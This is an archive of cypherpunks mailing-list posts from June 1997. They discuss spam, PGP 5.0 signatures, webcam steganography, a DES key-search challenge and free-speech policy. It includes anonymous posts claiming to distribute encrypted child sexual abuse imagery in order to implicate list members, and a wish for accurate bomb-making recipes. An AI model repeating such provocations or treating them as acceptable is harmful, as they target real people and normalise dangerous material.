        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 24 Jun 1997 19:50:38 +0800
To: "Philip A. Mongelluzzo" <phimon@ix.netcom.com>
Subject: Re: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.91.970623120532.933B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> I still am concerned about kids being subject to material that is
> inappropriate for their age group (what ever that may be).  So how do I
> insure that my son/daugher does not get their hands on _THIS_ material?

Supervision, plain and simple. However, if you honestly believe your 
children are going to be harmed in some lasting way by any images they 
might find there is clearly something wrong with the way you have brought 
them up, you will find most kids are uninterested by porn images anyway, 
violence is a different matter but if kids are brought up properly they 
would understand the difference between speech and act, and have respect 
for others and understanding of non-violence, there is no way to explain 
to congress-critters the difference between speech and act, it is above them.

> - control the material.  Make it like liquor, guns, booze.  Oops.. for some
> reason this is a violation of the 1st amendment to!  Ok, my mistake, its my
> problem.  That's easy, no Internet access.  Now my kid is at a
> disadvantage!  I keep loosing here.  I don't like the way this is beginning
> to feel!!

1. Liquor: Kids should be taught to drink responsibly from an early age, 
then when they are old enough to legally drink they will not just go out 
and drink themselves to death.

2. Guns: Again, I think kids should be taught to shoot safely and 
responsibly, just as I was when I was a kid. Sure, you don`t want your 
child carrying a gun around unsupervised at too young an age, but how many 
11yr olds do you know that have the money to go buy a .38???

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 24 Jun 1997 02:32:26 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Extremely Disappointing: Political Cryptography
In-Reply-To: <Pine.LNX.3.95.970623103902.9790B-100000@westsec.denver.ssds.com>
Message-ID: <Pine.LNX.3.95.970623121826.9790G-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Mon, 23 Jun 1997, Jim Burnes wrote:

> 
> Charles:
> 
> This has nothing to do with federal crypto regs. It just
> had your email addr in it.
> 
> Got a question:
> 

Sorry for polluting the list.  Accidental cross-posting.

jim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 24 Jun 1997 19:36:40 +0800
To: Lee Tien <tien@well.com>
Subject: Re: Bomb-making instructions....
In-Reply-To: <v03007812afd3bd504797@[163.176.132.90]>
Message-ID: <Pine.LNX.3.91.970623122023.933D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> It would be an interesting piece of sociology of speech, law and technology
> to do a serious, scholarly study of the public availability of existing
> bombmaking information on the Web.  Where does it come from?  How much was
> originally government information?  How accurate is it?  What kind of bombs
> can be built with the info?  Who puts it up?  Then compare what's on the
> Web to what's in university and public libraries.  This is the kind of
> study that may not be doable once the Amendment passes, for obvious reasons.

I personally know no chemistry at all, but what would be nice is if 
someone who knows what they are doing wrote an "anarchists cookbook" type 
set of files, but this time got them right so anyone attempting any of 
the recipes wouldn`t be killed.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 24 Jun 1997 01:58:11 +0800
To: cypherpunks@toad.com
Subject: Re: New PGP signatures
Message-ID: <199706231742.MAA01370@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SOL.3.96.970623055041.2746A-100000@sirius.infonex.com>, on
06/23/97 
   at 05:53 AM, Mark Grant <mark@unicorn.com> said:

>Could I humbly request that people don't post the new (SHA?) PGP
>signatures to the list for the time being as it's a pain in the ass for
>those of us outside the US who don't yet have the ability to read them.
>PGP 2.6.x error handling doesn't know what to do with them and it breaks
>our mail-processing code.

Hi Mark,

You really need to modify your mail-processing code as you are going to
see more and more of these. You should also start work on implementing the
PGP/MIME RFC as you will be seeing more of these messages.

Nothing personal but your code should not "break" on any data that is sent
to it. PGP 2.6.x doen't have a problem with these signatures it just
returns a error code and goes on it's way.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM660l49Co1n+aLhhAQHZEQP+MGX87jPWCO3VZMZG4Pt0R0sgFSSc6N+I
7/3w1QSxJomyd6jt9SUuyKsLMMC5UY7HCC71CHVyp2Aqm4N7Q8ratNC+WMxVPO3z
1DTNM4GYOnZmwdTMgowIPhb0Cfstd4Z+KXlr0jR5pE1Kni6+r3LBG7+jVv+Im6BY
SlizRYaent0=
=YBoc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Mon, 23 Jun 1997 11:05:00 +0800
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: spam on this list
In-Reply-To: <199706230222.TAA04375@adnetsol.adnetsol.com>
Message-ID: <Pine.SOL.3.91.970623124902.559B-100000@hardy.ocs.mq.edu.au>
MIME-Version: 1.0
Content-Type: text/plain




> > NO i dont wish to post any, i just want to know if this list has
> > spam sent to it ?? I started reciveing various pieces in the last
> > couple of days and i'm trying to identify the source. 
> 
> Spam *is* free speech, you know. <g>
> 
> Ross
> 

Thats fine but, i dont want to be invited to look at nasty naked 
cheerleaders. And isn't it somewhat problematic when a 15 yr old looks at 
the mail box ?? BEsides i hate junk mail too, and if i could stick a no 
junk mail sticker on my email i would.

Can this be done ?? Any ideas anybody ??

Jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 24 Jun 1997 02:08:13 +0800
To: cypherpunks@toad.com
Subject: Re: Child Porn 2 [JPG]
In-Reply-To: <199706231739.NAA07104@dhp.com>
Message-ID: <199706231752.MAA01475@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706231739.NAA07104@dhp.com>, on 06/23/97 
   at 01:39 PM, lucifer@dhp.com (lucifer Anonymous Remailer) said:

>Warning: Unrecognized ASCII armor header label "MessageID:" ignored.

>File is encrypted.  Secret key is required to read it. 
>This message can only be read by:
>   Paul Bradley <paul@fatmans.demon.co.uk>
>  Philip R. Zimmermann <prz@acm.org>
>  rep@heavensgate.com
>  Rich Graves <llurch@stanford.edu>
>  Sandy Sandfort <SSANDFORT@ATTMAIL.COM>
>  Will Price <wprice@pgp.com>
>  Wolfgang Ley, DFN-CERT <ley@cert.dfn.de>

>
You do not have the secret key needed to decrypt this file.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6640Y9Co1n+aLhhAQGz3AQAm8rYUf1qfJlDanhSZjmLKjNwjFkbCaCe
l63U3drdjDcFOwfN94AO56rwhpEHg1otK5fnCirP2Yi2Tl+ZYJJhynb5D5cTvdhV
l1S0bocVrEghbkek69w6hXrshOvNpoS8VUTA+PZFfJUhKNtrd0dmHydkfPO42ygr
GNkY/aIbekk=
=WwuN
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Tue, 24 Jun 1997 01:36:22 +0800
To: Mark Grant <mark@unicorn.com>
Subject: Re: New PGP signatures
In-Reply-To: <Pine.SOL.3.96.970623055041.2746A-100000@sirius.infonex.com>
Message-ID: <33AEBB4A.3E9CB5E6@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Mark Grant wrote:

> Could I humbly request that people don't post the new (SHA?) PGP
> signatures to the list for the time being as it's a pain in the ass
> for
> those of us outside the US who don't yet have the ability to read
> them.
> PGP 2.6.x error handling doesn't know what to do with them and it
> breaks
> our mail-processing code.
>
>         Mark

   Well, I still use my RSA key for all signings and encryptions since
about 85% of PGP users don't use the new Diffie-Hellman keys, and some
asshole forgot to make PGP 5.0 freeware RSA key-generating.  Luckily I
can still use my RSA key.  Plus, some assholes didn't take into account
that not everyone uses Windoze95/NT 4.0 or Macintrash, and didn't make
one yet for Unix or OS/2 or DOS or Windoze 3.1 users.  My friend still
uses 3.1 and I have to use my RSA key to talk to him.

I hope you guys with the international PGP get to use 5.0 soon.  It's
really nice, all things about it excluded.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 24 Jun 1997 01:47:14 +0800
To: cypherpunks mailing list <cypherpunks@Algebra.COM>
Subject: Re: New PGP signatures
In-Reply-To: <Pine.SOL.3.96.970623055041.2746A-100000@sirius.infonex.com>
Message-ID: <3.0.1.32.19970623133802.009b2800@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain



bennett_t1@popmail.firn.edu wrote:
>some asshole forgot to make PGP 5.0 freeware RSA key-generating

Okay, silly question here, but what's to stop someone from adding that
capability once the source is available?  (And if they knew they were going
to publish the source, why not just add the capability in the first place?)
-- Rick Osborne, <osborne@gateway,grumman.com>
"Unbelievable!  Even over the air waves, this Senator person eminates
evil as if it were musk!"
-- Gates, Legion of Superheroes





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Myers <blackavr@aa.net>
Date: Tue, 24 Jun 1997 05:16:07 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: Canarypunk: Jim Bell in a coalmine
Message-ID: <3.0.32.19970623133810.00776c0c@mail.aa.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:53 PM 6/22/97 -0700, Blanc wrote:

>Having said that, I'll consider the possibility, if visitors are allowed on
>weekends.   Perhaps several cpunks could go (if anyone else around here
>interested? (Wei, Joel, I know you're just dying to go <g>)), if more than
>one visitor at a time is allowed . 

Well, I work in Tacoma, and have thought of visiting...PNW area physical 
meet, anyone? A jail is a reasonably appropriate setting, If this
horrid legislation isn't stopped, just think of it as house-hunting ;->
Has John Young sussed out the visitor situation yet?
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM67bmpmFdfLoqDWNAQF9QAQAl5M339rLKpfWMesrSvXoo4J/xd0F/Dlu
gtEiTkKNR1g0BzbaSdyYOxG+YV2EwP9f8nTWHCtI5T7Y+ha7N2sdKzHy+QrAKS4/
JbL9eBVw4cEcsRBGYMFZIWQilw2IHzlRNPCpmWRQsy30k5HYSIXqOqstiKj/Vi1P
TI8JgQnyeYU=
=nzca
-----END PGP SIGNATURE-----

--
/```````Instead of being born again, why not just GROW UP?`````````\
Michael Myers               Vote Libertarian....you'll sleep better!
Don't like abortion? Don't have one. Don't like guns? Don't buy one.
blackavr@aa.net  root@crowncollege.com PGP public key on keyservers
\_________________ http://www.aa.net/~blackavr/____________________/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 24 Jun 1997 01:54:57 +0800
To: cypherpunks@toad.com
Subject: Child Porn 2 [JPG]
Message-ID: <199706231739.NAA07104@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Here is the same Time-Life child pornography encrypyted with the public
keys of even more co-conspirators in the cypherpunks list child porno
ring.
Of course, you will all do an extra five years in prison for the use
of encryption in the distribution of Time-Life child pornography.

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Version: PGP for Personal Privacy 5.0
MessageID: dPprVrWTzaklAcPs8B3n61dBuYrBHpvx

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 24 Jun 1997 02:20:30 +0800
To: cypherpunks@toad.com
Subject: Child Porn 1 [JGP]
Message-ID: <199706231755.NAA10905@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Below is a Time-Life child pornography JPEG encrypted with the secret
keys of a variety of cypherpunks.
Not that I'm a troublemaker...

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 24 Jun 1997 02:21:34 +0800
To: cypherpunks@toad.com
Subject: Child Porn 3 [JPG]
Message-ID: <199706231803.OAA12416@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Here, yet again, is the same Time-Life child pornography picture, which
is encrypted with the public keys of people I don't know from squat.
Nonetheless, they are now co-conspirators in the Time-Life/Cypherpunks
child pornography ring.
Since they are unwitting participants in the spread of this filth
across the internet, I would suggest that they contact law enforcement
officials and offer to testify against the cypherpunks and employees
of Time-Life in return for immunity or reduced sentences ending in ...

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N+Kya1rGpK64vxZpmgugKetg
=jWAM
-----END PGP MESSAGE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 24 Jun 1997 05:34:12 +0800
To: Michael Myers <blackavr@aa.net>
Subject: Re: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <3.0.32.19970623133810.00776c0c@mail.aa.net>
Message-ID: <Pine.GSO.3.96.970623141626.2317A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Michael Myers wrote:

> At 11:53 PM 6/22/97 -0700, Blanc wrote:
> 
> >Having said that, I'll consider the possibility, if visitors are allowed on
> >weekends.   Perhaps several cpunks could go (if anyone else around here
> >interested? (Wei, Joel, I know you're just dying to go <g>)), if more than
> >one visitor at a time is allowed . 
> 
> Well, I work in Tacoma, and have thought of visiting...PNW area physical 
> meet, anyone? A jail is a reasonably appropriate setting, If this
> horrid legislation isn't stopped, just think of it as house-hunting ;->
> Has John Young sussed out the visitor situation yet?

I would visit, but Tacoma is quite a distance from Portland.  (A couple
hundred miles.)  Maybe get a car pool on a weekend.

As for house-hunting...  I don't think they let you choose.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 24 Jun 1997 06:34:50 +0800
To: tzeruch@ceddec.com
Subject: Re: New PGP signatures
In-Reply-To: <97Jun23.173902edt.32257@brickwall.ceddec.com>
Message-ID: <Pine.3.89.9706231540.A13824-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997 tzeruch@ceddec.com wrote:

[On PGP switching to SHA-1/ElGamal]
> They could have supported RSA/SHA if they wanted to.  They also put 3DES
> and IDEA support as options in the manual (but not in the freeware or
> tryit versions that I can see).

I guess suggestions such as the one above prove that CP is still attracting 
newbies. That's a good thing. Now if they only read the FAQ.

The patents for DH (which cover the public domain ElGamal) expire this
Fall. By using SHA-1/ElGamal, PGP is moving to a technology that will soon
no longer require paying large sums of money to RSA for the use of a
one-line mathematical formula. This is *a good thing*. 


--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rttc0025@pophost.club.innet.be
Date: Mon, 23 Jun 1997 22:03:27 +0800
To: cypherpunks@toad.com
Subject: anonymous mail
Message-ID: <199706231343.PAA10140@hydrogen.inbe.net>
MIME-Version: 1.0
Content-Type: text/plain



could you send me the name of an remailer that works in Belgium
please, i would be most gratefull

thank you
yours truly 
ambi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec McCrackin <camcc@abraxis.com>
Date: Tue, 24 Jun 1997 04:05:17 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Devisive comments [sic]
In-Reply-To: <3.0.2.32.19970620233615.03727f08@mail.atl.bellsouth.net>
Message-ID: <3.0.2.32.19970623155158.007dc100@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 10:17 PM 6/20/97 -0700, you heatedly wrote:

|Take a gander at this out-of-the-blue and off-the-wall thing I just got
|from Georgia's finest. Proves to me that what they say about Georgia is
|right.

Hey, Tim.

Fill me in.

Perhaps other list members would like to know also.

What do _they_ say about Georgia?

And to whom do _they_ say it?

And just who are _they_?

Or was this just Tim in a snit?

Alec

BTW the most recent Mixmaster remailer (remailer@anon.efga.org) and nym 
server are in Ga. Try them out, Tim, when you want to blow off some steam 
without appearing foolish in public.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM67T3iKJGkNBIH7lAQHRKwP9HmtQIDMeB57Oj4zvwRmh/JizkcIi9Q0D
WAYPrDXNxGDibBZs6EnXMBar3ltY1ZyspXYyf39w69DY02WCIBFfpuw1Cj4LhXpb
Ws0LhszVWaG75voqDbDLGkCl37XfGfrHUW3osftLJ3hV3HaAuSWGPImMKQuVb8Xm
xjJH3SDCqJc=
=D1ql
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Date: Tue, 24 Jun 1997 05:59:14 +0800
To: janke@unixg.ubc.ca
Subject: Re: Party on IRC
In-Reply-To: <m2vi38ozit.fsf@clouds.heaven.org>
Message-ID: <33aeef335820002@earth.tc.umn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Leonard Janke said:
> 
> ftp://ftp.csua.berkeley.edu/pub/cypherpunks/applications/circ.tar.gz ?
> 
> Didn't look into it too closely, but I noticed it doesn't do 
> authentication.
> 

Circ uses 3DES for encryption and does key exchange with RSA. 
It runs on top of irc, and encrypts/decrypts by running a program
in the backgound. There is also a standalone client.

I'm not sure that authentication is wanted or needed for irc. 
There have been a lot of problems with people grabbing a list 
of everyone on irc at a given time, then e-mailing them spam 
or vague threats. ircd 2.9.2 implements the +a mode for channels
which somehow disallows listing user information even if you are
on the channel with them.

-- 
Kevin L. Prigge                     | "The only thing that saves us from
Systems Software Programmer         | the bureaucracy is it's
Enterprise Internet Services        | inefficiency." - Eugene McCarthy
University of Minnesota             |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Tue, 24 Jun 1997 05:45:23 +0800
To: cypherpunks mailing list <cypherpunks@Algebra.COM>
Subject: Re: New PGP signatures
In-Reply-To: <Pine.3.89.9706231057.A3379-0100000@netcom22>
Message-ID: <97Jun23.173902edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Lucky Green wrote:

> On Mon, 23 Jun 1997, Rick Osborne wrote:
> 
> > bennett_t1@popmail.firn.edu wrote:
> > >some asshole forgot to make PGP 5.0 freeware RSA key-generating
> > 
> > Okay, silly question here, but what's to stop someone from adding that
> > capability once the source is available?  (And if they knew they were going
> > to publish the source, why not just add the capability in the first place?)
> 
> Because there is no reason for PGP to enourage people to generate new
> RSA/MD5 keys when MD5 is about to go downhill.

They could have supported RSA/SHA if they wanted to.  They also put 3DES
and IDEA support as options in the manual (but not in the freeware or
tryit versions that I can see).

I hope the international generic version - after it is scanned and
modified - has many useful "upward compatible" options which will refuse
to interoperate with the commercial windows/mac version. 

And then someone can write an interoperability spec and the next version
of everything will talk to everything else.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Tue, 24 Jun 1997 08:59:21 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: The spam thread
Message-ID: <199706240050.RAA27376@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About 24 Jun 97 at 9:45, Jason William RENNIE wrote:

> Anyway shall we let this thread die at this point ??

I've tried.  But I am eternally pulled back in.  Sometimes at the 
first post, sometimes later.  As long as people have promiscuous 
mail boxes they will get spam, use a filter, use your delete key.

Denial of service attacks are destructive and unproductive.

Die, Spam thread, Die!  Out, spot, out!  

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 24 Jun 1997 09:04:15 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Child Porn 3 [JPG]
In-Reply-To: <199706231803.OAA12416@dhp.com>
Message-ID: <v03102801afd4cb7d5ea5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:01 PM -0700 6/23/97, Adam Back wrote:

>(Thinking of the AA case where the fedz mailed the target a child porn
>package and kicked the door in seconds after the package hit the door
>mat, before they even knew their mail had arrived, and busted them for
>"possession" of child porn.)

"I have a solution."

(However, unlike Bell, my solution would not involve the roundabout charade
of setting up some kind of betting market--as if the population at large
would care about J. Random Narc. Under my solution, the cops who pulled
this stunt of sending unsolicited porn and then raiding the house would be
given a fair trial and then imprisoned for a lot longer than the Thomases
will ultimately be imprisoned.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Tue, 24 Jun 1997 06:06:24 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Sources for stego images, was re: Laying PipeNet
In-Reply-To: <v03102804afd38b324730@[10.0.2.15]>
Message-ID: <97Jun23.180055edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 22 Jun 1997, Steve Schear wrote:

> >That's the major problem with images, you need to generate your own.
> >Unless you fancy writing an image enhancement system, and analyse the
> >algorithms in existing systems to ensure that randomness is
> >introduced.
> >
> 
> There are plenty of Net-cams watching traffic or sunsets around the world.
> Since these images tend to change a bit from frame to frame they could
> cheaply and reliably provide the sorts of images which are ideal for stego.
> I'm not sure if you can frame-grab from such a changing Web page with the
> current browser features, but this should be a significant hurdle.

Or, set up your own webcam "to watch your coffee pot twice a minute" or
something. Merge the crypto stream through the gifs after tweaking the
brightness and contrast to avoid 0 and 255 (a light fixture with a pattern
of 254/255 values gets suspicious, and is not from thermal noise - a
"problem" with monochrome quickcams for night photography).

Then do something like

  lynx -source webcam.x.y/images/coffee.gif | destegodecrypt >>reconstruct

every 30 seconds (with some kind of dropout correction).  [lynx is a
textmode browser that works well for these types of things].

Or even an AVI for both video and sound stego.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Tue, 24 Jun 1997 09:24:08 +0800
To: coderpunks@toad.com
Subject: Re: A better DES challenge
In-Reply-To: <199706232004.QAA11706@nsa.research.att.com>
Message-ID: <199706240115.SAA07994@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Matt Blaze <mab@research.att.com> writes:

 > I'm not a big fan of cipher ``challenges'' in which a prize
 > is awarded to the first person who discovers the key that
 > produces some plaintext/ciphertext pair.  The effort
 > required to produce a solution tends to grossly overstate
 > the actual difficulty of searching the keyspace, since
 > invariably the winner uses the idle time on general-purpose
 > computers, which are poorly-optimized for use as keysearch
 > engines.

Really.  It appears that the DESCHALL frivolities actually
enhanced the reputation of DES, fluffy press releases by C2 and
Security Dynamics notwithstanding.

 > A more basic problem with challenges is that even when they
 > are solved they don't really provide convincing proof that
 > the keyspace was actually searched.  For example, in the
 > recent 56-bit RSA DES challenge, RSA has no way to prove
 > that it didn't ``leak'' some hint about the solution to the
 > winner. (I hasten to point out that I'm not suggesting that
 > anything like this actually happened, only that a skeptic
 > might raise the possibility, against which RSA has no real
 > way to defend itself).

This is a problem which I have been pondering in recent days. How
would someone in the future demonstrate that they have broken
DES, now that the RSA DES Challenge is behind us, and trusted
parties offering to generate and keep secret ciphertext/plaintext
pairs are no where to be found.

It would seem to me that the best way to demonstrate that one has
broken a block cipher without releasing ones algorithm would be
to generate and publish some key collisions, in which a
ciphertext/plaintext pair is mapped by more than one key.

If one encrypts plaintext with a known key to generate
ciphertext, cryptanalysis of the resulting ciphertext/plaintext
pair for a key other than the one used to generate it should be
comparable in difficulty to cryptanalysis of a
ciphertext/plaintext pair provided by a trusted third party.

The ability to generate such collisions at will clearly
demonstrates that one can calculate keys from
ciphertext/plaintext pairs.

 > A better challenge, then, would be one in which even the
 > challenger doesn't know the solution in advance (or would
 > have had to itself search the keyspace or otherwise
 > cryptanalyze the cipher in order to find it).  For example,
 > a challenge for a one-way collision-intractable hash
 > function could simply ask for an example of a collision, or
 > could ask for the inversion of some well-structured output
 > (such as all zeros).

A step in the right direction.  We should develop ways of
demonstrating cryptanalysis which do not require one person to
solve a problem provided by another person without the
possibility of collusion.

[snip]

 > Recall that there are 2^56 DES keys that each select a
 > different permutation of the 2^64 codebook entries.  We
 > expect that there's about a 1/2^8 chance that there exists a
 > DES key that converts any given plaintext block to any given
 > ciphertext block.

 > My challenge is to find a key such that a ciphertext block
 > of the form <XXXXXXXX> decrypts to a plaintext block of the
 > form <YYYYYYYY>, where X and Y represent any fixed eight-bit
 > byte value repeated across each of the eight bytes of the
 > block.

 > Observe that I'm actually posing 2^16 different challenge
 > plaintext/ciphertext pairs, each with about 1/2^8
 > probability of having a solution, where groups of 2^8
 > challenges can be searched for simultaneously.  Each
 > challenge may have no solution key, exactly one solution
 > key, or more than one solution key, but it is very likely
 > that there is at least one solution key to at least one of
 > them (in fact, one could expect to find about 2^8 solutions
 > overall, assuming DES produces good pseudorandom
 > permutations).

I like this.  It is somewhat cleaner than the key collision trick
suggested above.

 > I will award a grand prize of 56 bits (seven (7) US
 > dollars) to the first person to provide a solution key. (The
 > challenge ends when first key is found).  While the prize
 > money is admittedly trivial (this is out of my own pocket,
 > after all), I hope it will serve as ``seed money'' that
 > encourages others to add their own prizes to a growing pot.

Let me know when the money reaches $10k.

 > Of course, I cannot be completely sure whether there exist
 > any solutions at all.

If there were to be no solutions at all, given the alleged
pseudorandomness of DES, this would probably be an even more
interesting result than solving the problem posed.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 24 Jun 1997 09:47:06 +0800
To: "Philip A. Mongelluzzo" <phimon@ix.netcom.com>
Subject: Re: spam on this list
In-Reply-To: <Pine.GSO.3.96.970623100514.944B-100000@linda.teleport.com>
Message-ID: <3.0.2.32.19970623183907.009c9400@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



>How do we deal with child pornography and free speech in such a way as to
>allow both to exist and insure our children are not exposed to pornographic
>material until they are at a maturity level where they can deal with it?

You're phrasing this like it's a general policy question, e.g., "If we were 
going to design the best freedom-of-speech legal structure for a society,
what would it look like?", and then trying to apply the answer to that 
question to a very different question, e.g., "What can we do about
free speech policy, given the wording and past interpretation of the First
Amendment, within the legislative/judicial structure created by the
Constitution?" The Constitution does not grant Congress nor individual 
states the ability to make certain laws, even if they otherwise appear 
reasonable or useful; I think it's a shame that people who have sworn to 
defend the Constitution seem to regard it as an impediment (or fail to 
understand that it's intended an impediment) to an all-powerful state. 
(Also, this discussion is, like many law/policy-related ones, 
pretty US-centric, which is not evil but perhaps nonoptimal or unnecessarily 
shortsighted.)

There are three issues here - child porn (broadly speaking, images featuring
children in a sexual context), access to porn by children, and freedom of
speech/expression. It's not clear from your comments whether you're 
concerned with "child porn" or "access to porn by children", or both.

Your definition of the problem is problematic, because it talks about 
"our children" and "maturity level where they can deal with it", which are 
both difficult to fix precisely. Some people would read the phrase "our 
children" to apply to every child within a national jurisdiction; 
some people would read the phrase to refer to their own children, or the 
children in their familiy. Are we talking about single group of children - 
or nationwide groups of similarly situated children, e.g., 9-year-olds - or 
are we talking about millions of individual children and family groups, with 
different standards/expectations/needs? Also, who decides what an 
appropriate "maturity level" is, and what "dealing with it" is? Are you 
looking for a solution which will allow you to control your children's 
access to porn, or a system which will allow you to control all children's 
access to porn? 

